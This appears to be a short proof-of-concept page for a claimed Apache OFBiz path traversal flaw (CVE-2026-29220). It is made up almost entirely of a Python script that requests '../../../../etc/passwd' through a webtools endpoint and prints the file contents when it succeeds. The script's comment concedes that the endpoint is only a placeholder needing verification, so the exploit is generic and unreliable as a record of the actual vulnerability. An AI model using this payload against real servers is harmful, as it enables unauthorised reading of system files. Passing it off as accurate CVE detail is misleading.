CVE-2026-29220 Apache OFBiz路径遍历漏洞

import requests def check_path_traversal(url): # Target endpoint example (needs verification against actual vulnerable endpoint) target = f"{url}/webtools/control/filename" # Malicious payload attempting to read /etc/passwd payload = {"path": "../../../../etc/passwd"} try: response = requests.get(target, params=payload, timeout=10) if "root:x" in response.text: print(f"[+] Vulnerability confirmed at {url}") print(response.text[:200]) else: print(f"[-] Vulnerability not detected or patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://127.0.0.1:8080" check_path_traversal(target_url)